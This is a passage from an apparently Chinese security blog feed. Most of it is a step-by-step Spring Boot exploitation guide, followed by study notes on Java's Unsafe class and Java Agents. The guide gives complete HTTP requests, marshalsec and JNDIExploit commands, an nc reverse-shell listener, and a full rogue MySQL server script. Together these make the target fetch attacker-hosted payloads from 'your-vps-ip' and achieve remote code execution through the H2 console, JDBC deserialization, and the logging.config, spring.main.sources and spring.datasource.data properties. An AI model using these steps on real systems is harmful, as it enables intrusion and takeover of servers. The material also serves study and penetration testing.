直接访问目标开启 h2 console 的默认路由 /h2-console，目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx，记录下实际的 jsessionid=xxxxxx 值。

步骤二：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的java代码JNDIObject.java，

使用兼容低版本 jdk 的方式编译：

1
javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤三：托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 ldap 服务

下载 marshalsec ，使用下面命令架设对应的 ldap 服务：

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

1
nc -lv 443

步骤六：发包触发 JNDI 注入

根据实际情况，替换下面数据中的 jsessionid=xxxxxx、www.example.com 和 ldap://your-vps-ip:1389/JNDIObject

1
2
3
4
5
6
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

测试：

访问h2控制台

image-20220626022436323

发送如下数据包，url改为ldap的地址，发送即可触发RCE

image-20220626022447977

marshalsec 接收到了目标请求

image-20220626022505695

HTTP 也接到了请求

image-20220626022519608

mysql jdbc deserialization RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
  • 目标环境中存在 mysql-connector-java 依赖
  • 目标可以请求攻击者的服务器（请求可出外网）

步骤一：查看环境依赖

GET 请求 /env 或 /actuator/env，搜索环境变量（classpath）中是否有 mysql-connector-java 关键词，并记录下其版本号（5.x 或 8.x）；

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖，比如 commons-collections、Jdk7u21、Jdk8u20 等；

搜索 spring.datasource.url 关键词，记录下其 value 值，方便后续恢复其正常 jdbc url 值。

步骤二：架设恶意 rogue mysql server

在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本，并使用 ysoserial 自定义要执行的命令：

1
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下生成 payload.ser 反序列化 payload 文件，供脚本使用。

步骤三：设置 spring.datasource.url 属性

⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用，会对业务造成影响，请谨慎操作！

mysql-connector-java 5.x 版本设置属性值为：

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为：

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

步骤四：刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

步骤五：触发数据库查询

尝试访问网站已知的数据库查询的接口，例如： /product/list ，或者寻找其他方式，主动触发源网站进行数据库查询，然后漏洞会被触发

步骤六：恢复正常 jdbc url

反序列化漏洞利用完成后，使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value 值

测试：

利用yso生成恶意的序列化数据并保存在payload.ser文件中，这里采用cc6这条链，因为前几条受jdk版本的影响可能导致反序列化触发命令会失败

image-20220626095233175

vps上运行 springboot-jdbc-deserialization-rce.py 脚本，开启一个恶意的 mysql server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
    global count
    count += 1
    print("[*] Package order: {}, Send: {}".format(count, payload))
    conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
    global count, BUFFER_SIZE

    count += 1
    data = conn.recv(BUFFER_SIZE)
    print("[*] Package order: {}, Receive: {}".format(count, data))
    return str(data).lower()


def run_mysql_server():
    global count, deserialization_payload

    while True:
        count = 0
        conn, addr = server_socks.accept()
        print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
        greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
        server_send(conn, greeting)
        if os.path.isfile(deserialization_file):
            with open(deserialization_file, 'rb') as _f:
                deserialization_payload = binascii.b2a_hex(_f.read())
        while True:
            # client auth
            server_receive(conn)
            server_send(conn, response_ok)

            # client query
            data = server_receive(conn)
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "set names" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "set character_set_results" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "show session status" in data:
                _data = '0100000102'
                _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
                _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
                _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
                _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
                _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
                _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
                _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
                _data += '07000005fe000022000100'
                server_send(conn, _data)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                server_send(conn, _payload)

            break
        try:
            conn.close()
        except Exception as e:
            pass


if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306

    deserialization_file = r'payload.ser'
    if os.path.isfile(deserialization_file):
        with open(deserialization_file, 'rb') as f:
            deserialization_payload = binascii.b2a_hex(f.read())
    else:
        deserialization_payload = 'aced****(your deserialized hex data)'

    count = 0
    BUFFER_SIZE = 1024
    response_ok = '0700000200000002000000'
    print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
    server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socks.bind((HOST, PORT))
    server_socks.listen(1)

    run_mysql_server()

通过 POST 设置属性值spring.datasource.url 为外部恶意 mysql jdbc url 地址，就是上步的vps开启的mysql地址

image-20220626022709041

在进行网站查询操作时，会触发数据库查询等操作，会与恶意的 mysql jdbc url 建立数据库连接，恶意 mysql server 就会在建立连接的合适阶段返回序列化的 payload 数据，最后目标会反序列化设置好的 gadget，造成RCE漏洞。

image-20220626022652992

漏洞原理：

  1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
  2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
  3. 当网站进行数据库查询等操作时，会尝试使用恶意 mysql jdbc url 建立新的数据库连接
  4. 然后恶意 mysql server 就会在建立连接的合适阶段返回序列化 payload 数据
  5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget，造成 RCE 漏洞

restart logging.config logback JNDI RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件，会导致程序异常退出
  • ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口，否则会导致程序异常退出

利用方法：

步骤一：托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件，实际内容要根据步骤二中使用的 JNDI 服务来确定：

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/Y2FsYw==" as="appName" />
</configuration>

步骤二：托管恶意 ldap 服务及代码

参考文章，修改 JNDIExploit 并启动（也可以使用其他方法）：

1
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

步骤三：设置 logging.config 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

步骤四：重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试：

通过 POST 方式设置 logging.config 的值

image-20220626022800084

请求 /restart 接口，触发RCE

image-20220626022748766

HTTP请求记录

image-20220626022820766

JNDIExploit请求记录

image-20220626022812572

漏洞原理：

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
  2. restart 重启应用后，程序会请求 URL 地址获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签，设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器，导致 JNDI 注入，造成 RCE 漏洞

restart logging.config groovy RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖，否则会导致程序异常退出

利用方法：

步骤一：托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 groovy 结尾的 example.groovy 文件，内容为需要执行的 groovy 代码，比如：

1
Runtime.getRuntime().exec("calc")

步骤二：设置 logging.config 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}

步骤三：重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试：

通过 POST 设置 logging.config 的属性值

image-20220626022916922

请求 /restart 接口，触发RCE

image-20220626022908260

HTTP 请求记录

image-20220626023421444

漏洞原理：

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
  2. restart 重启应用后，程序会请求设置的 URL 地址
  3. logback-classic 组件的 ch.qos.logback.classic.util.ContextInitializer.java 代码文件逻辑中会判断 url 是否以 groovy 结尾
  4. 如果 url 以 groovy 结尾，则最终会执行文件内容中的 groovy 代码，造成 RCE 漏洞

restart spring.main.sources groovy RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖，否则会导致程序异常退出

步骤一：托管 groovy 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 groovy 结尾的 example.groovy 文件，内容为需要执行的 groovy 代码，比如：

1
Runtime.getRuntime().exec("open -a Calculator")

步骤二：设置 spring.main.sources 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

步骤三：重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试：

通过 POST 设置 logging.config 的属性值

image-20220626023718193

请求 /restart 接口，触发RCE

image-20220626023658597

HTTP 请求记录

image-20220626023553751

restart spring.datasource.data h2 database RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件，会导致程序异常退出

利用方法：

步骤一：托管 sql 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以任意名字的文件，内容为需要执行的 h2 sql 代码，比如：

⚠️ 下面payload 中的 ‘T5’ 方法只能 restart 执行一次；后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址，然后才能被 restart 重新使用，否则第二次 restart 重启应用时会导致程序异常退出

1
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');

步骤二：设置 spring.datasource.data 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}

步骤三：重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试：

通过 POST 设置 spring.datasource.data 属性值

image-20220626023828376

请求 /restart 接口，触发RCE

image-20220626023808324

HTTP 请求记录如下

image-20220626023841255

漏洞原理：

  1. 目标机器可以通过 spring.datasource.data 属性来设置 jdbc DML sql 文件的 URL 地址
  2. restart 重启应用后，程序会请求设置的 URL 地址
  3. spring-boot-autoconfigure 组件中的 org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java 文件代码逻辑中会使用 runScripts 方法执行请求 URL 内容中的 h2 database sql 代码，造成 RCE 漏洞

参考

https://github.com/LandGrey/SpringBootVulExploit

]]> <meta name="referrer" content="no-referrer"/> <h3 id="SpringBoot-相关漏洞的学习"><a href="#SpringBoot-相关漏洞的学习" class="headerlink" title="SpringBoot 相关漏洞的学习"></a>SpringBoot 相关漏洞的学习</h3> Java安全之Unsafe类 https://kpa1on.github.io/2022/06/20/Java%E5%AE%89%E5%85%A8%E4%B9%8BUnsafe%E7%B1%BB/ 2022-06-20T02:30:36.000Z 2022-09-29T17:44:32.491Z

前言

Unsafe类是一个位于sun.misc包下的类，它提供了一些相对底层方法，能够让我们接触到一些更接近操作系统底层的资源，如系统的内存资源、cpu指令等。而通过这些方法，我们能够完成一些普通方法无法实现的功能，例如直接使用偏移地址操作对象、数组等等。但是在使用这些方法提供的便利的同时，也存在一些潜在的安全因素，例如对内存的错误操作可能会引起内存泄漏，严重时甚至可能引起jvm崩溃。因此在使用Unsafe前，我们必须要了解它的工作原理与各方法的应用场景，并且在此基础上仍需要非常谨慎的操作，下面我们正式开始对Unsafe的学习。

Unsafe功能

Unsafe的功能大致如下：

image-20220620103646466

查看Unsfe源码，可以看到该类被final关键字修饰，代表不能被其他类继承

image-20220620103913441

构造方法被private修饰，就表明不能通过new的方式创建Unsafe类的实例，下面的getUnsafe()方法可以返回Unsafe的实例。

image-20220620104204449

查看下isSystemDomainLoader()方法，可以看到如果var0为Bootstrap类加载器，那么就会等于”null”，也就是返回true

image-20220620104837746

编写测试方法

image-20220620105153647

Unsafe调用

方式一

该类的成员变量theUnsafe定义为它的实例化，因此可以利用反射获取该变量的值

image-20220620105932116

编写测试代码

1
2
3
4
5
6
7
8
9
public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = aClass.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe o = (Unsafe)theUnsafe.get(null);
        System.out.println(o);
    }
}

运行结果

image-20220620110257727

方式二

因为Unsafe类里面存在getUnsafe方法，该方法的返回值是Unsafe的实例对象，所以可以通过反射调用该方法。

编写测试方法

1
2
3
4
5
6
7
8
9
public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe o = (Unsafe)declaredConstructor.newInstance();
        System.out.println(o);
    }
}

运行结果

image-20220620112336568

Class相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//静态属性的偏移量，用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);
//获取一个静态字段的对象指针
public native Object staticFieldBase(Field f);
//判断是否需要初始化一个类，通常在获取一个类的静态属性的时候（因为一个类如果没初始化，它的静态属性也不会初始化）使用。 当且仅当ensureClassInitialized方法不生效时返回false
public native boolean shouldBeInitialized(Class<?> c);
//确保类被初始化
public native void ensureClassInitialized(Class<?> c);
//定义一个类，可用于动态创建类，此方法会跳过JVM的所有安全检查，默认情况下，ClassLoader（类加载器）和ProtectionDomain（保护域）实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len,
                                   ClassLoader loader,
                                   ProtectionDomain protectionDomain);

//定义一个匿名类，可用于动态创建类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

学习下Unsafe.defineClass()的运用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.agent;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class Test2 {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, CannotCompileException, IOException, NotFoundException, NotFoundException, CannotCompileException, IOException, InvocationTargetException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String Classname ="org.agent.Commandtest";
        ClassPool classPool= ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("org.agent.Commandtest");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();
        //获取系统加载器
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        //创建默认保护域
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, systemClassLoader, null);
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe = (Unsafe)declaredConstructor.newInstance();
        Class<?> aClass1 = unsafe.defineClass(Classname, bytes, 0, bytes.length, systemClassLoader, protectionDomain);
        Object o = aClass1.newInstance();


    }
}

在JDK 11版本以后就移除了该方法。但还可以利用defineAnonymousClass方法。

参考

https://www.cnblogs.com/nice0e3/p/14102892.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>Unsafe类是一个位于<code>sun.misc</code>包下的类，它提供了一些相对底层方法，能够让我们接触到一些更接近操作系统底层的资源，如系统的内存资源、cpu指令等。而通过这些方法，我们能够完成一些普通方法无法实现的功能，例如直接使用偏移地址操作对象、数组等等。但是在使用这些方法提供的便利的同时，也存在一些潜在的安全因素，例如对内存的错误操作可能会引起内存泄漏，严重时甚至可能引起<code>jvm</code>崩溃。因此在使用<code>Unsafe</code>前，我们必须要了解它的工作原理与各方法的应用场景，并且在此基础上仍需要非常谨慎的操作，下面我们正式开始对<code>Unsafe</code>的学习。</p> Java安全之Java Agent https://kpa1on.github.io/2022/06/19/Java%E5%AE%89%E5%85%A8%E4%B9%8BJava-Agent/ 2022-06-19T05:45:43.000Z 2022-09-29T17:43:47.424Z

Java Agent简介

JavaAgent 是 JDK1.5 之后引入的新特性，此特性为用户提供了在 JVM 将字节码文件读入内存之后，JVM 使用对应的字节流在 Java 堆中生成一个 Class 对象之前，用户可以对其字节码进行修改的能力，从而 JVM 也将会使用用户修改过之后的字节码进行 Class 对象的创建。Java Agent可以去实现字节码插桩、动态跟踪分析等。

Java Agent运行模式

共两种运行模式：

  1. 启动Java程序时添加-javaagent(Instrumentation API实现方式)或-agentpath/-agentlib(JVMTI的实现方式)参数；
  2. 在1.6版本新增了attach(附加方式)方式，可以对运行中的Java进程插入Agent；

方式一中要在启动前去指定需要加载的Agent文件，而方式二可以在Java程序运行后根据进程ID进行动态注入Agent到JVM里面去。

Java Agent概念

Javaagent是java命令的一个参数。参数javaagent可以用于指定一个jar包，并且对该jar包有2个要求：

  1. 这个jar包的MANIFEST.MF文件必须指定Premain-Class项。
  2. Premain-Class指定的那个类必须实现premain()方法。

premain 方法，从字面上理解，就是运行在 main 函数之前的的类。当Java虚拟机启动时，在执行 main 函数之前，JVM会先运行-javaagent所指定jar包内Premain-Class这个类的premain方法 。普通的Java类是以main方法作为程序入口点，而Java Agent则将premain（Agent模式）和agentmain（Attach模式）作为了Agent程序的入口。

在命令行输入java可以看到相应的参数，其中有和java agent相关的：

1
2
3
4
5
6
-agentlib:<libname>[=<选项>] 加载本机代理库 <libname>, 例如 -agentlib:hprof
另请参阅 -agentlib:jdwp=help 和 -agentlib:hprof=help
-agentpath:<pathname>[=<选项>]
按完整路径名加载本机代理库
-javaagent:<jarpath>[=<选项>]
加载 Java 编程语言代理, 请参阅 java.lang.instrument

在上面-javaagent参数中提到了参阅java.lang.instrument，这是在rt.jar中定义的一个包，该路径下有两个重要的类：

image-20220619221436767

该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时重新接受外部请求，对Class类型进行修改。

从本质上讲，Java Agent 是一个遵循一组严格约定的常规 Java 类。 上面说到 javaagent命令要求指定的类中必须要有premain()方法，并且对premain方法的签名也有要求，签名必须满足以下两种格式：

1
2
3
public static void premain(String agentArgs, Instrumentation inst)
    
public static void premain(String agentArgs)

JVM 会优先加载 带Instrumentation签名的方法，加载成功忽略第二种，如果第一种没有，则加载第二种方法。

image-20220619221937740

Instrumentation接口

接口中的方法描述大致如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public interface Instrumentation {
    
    //增加一个Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    //在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);
//检测是否允许reTransformer
    boolean isRetransformClassesSupported();

    //在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    boolean isRedefineClassesSupported();

    //传入字节码，可以重新定义类
    void redefineClasses(ClassDefinition... definitions)
        throws  ClassNotFoundException, UnmodifiableClassException;
//类是否支持reTransformer
    boolean isModifiableClass(Class<?> theClass);
//获取所有已经加载的类
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

  //获取类加载器下所有已经初始化的类
    @SuppressWarnings("rawtypes")
    Class[] getInitiatedClasses(ClassLoader loader);

    //获取一个对象的大小
    long getObjectSize(Object objectToSize);


   
    void appendToBootstrapClassLoaderSearch(JarFile jarfile);

    
    void appendToSystemClassLoaderSearch(JarFile jarfile);

    
    boolean isNativeMethodPrefixSupported();

    
    void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);
}

ClassFileTransformer接口

